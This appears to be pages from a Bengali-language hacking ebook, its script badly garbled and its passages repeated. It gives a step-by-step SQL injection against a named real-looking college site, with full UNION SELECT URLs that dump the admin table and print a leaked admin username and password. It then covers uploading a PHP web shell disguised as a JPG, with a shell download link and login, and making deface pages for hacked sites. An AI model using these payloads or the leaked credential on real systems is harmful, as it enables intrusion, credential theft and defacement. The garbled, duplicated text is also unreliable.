এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 69: Hacking Bangla eBook

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 70: Hacking Bangla eBook

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

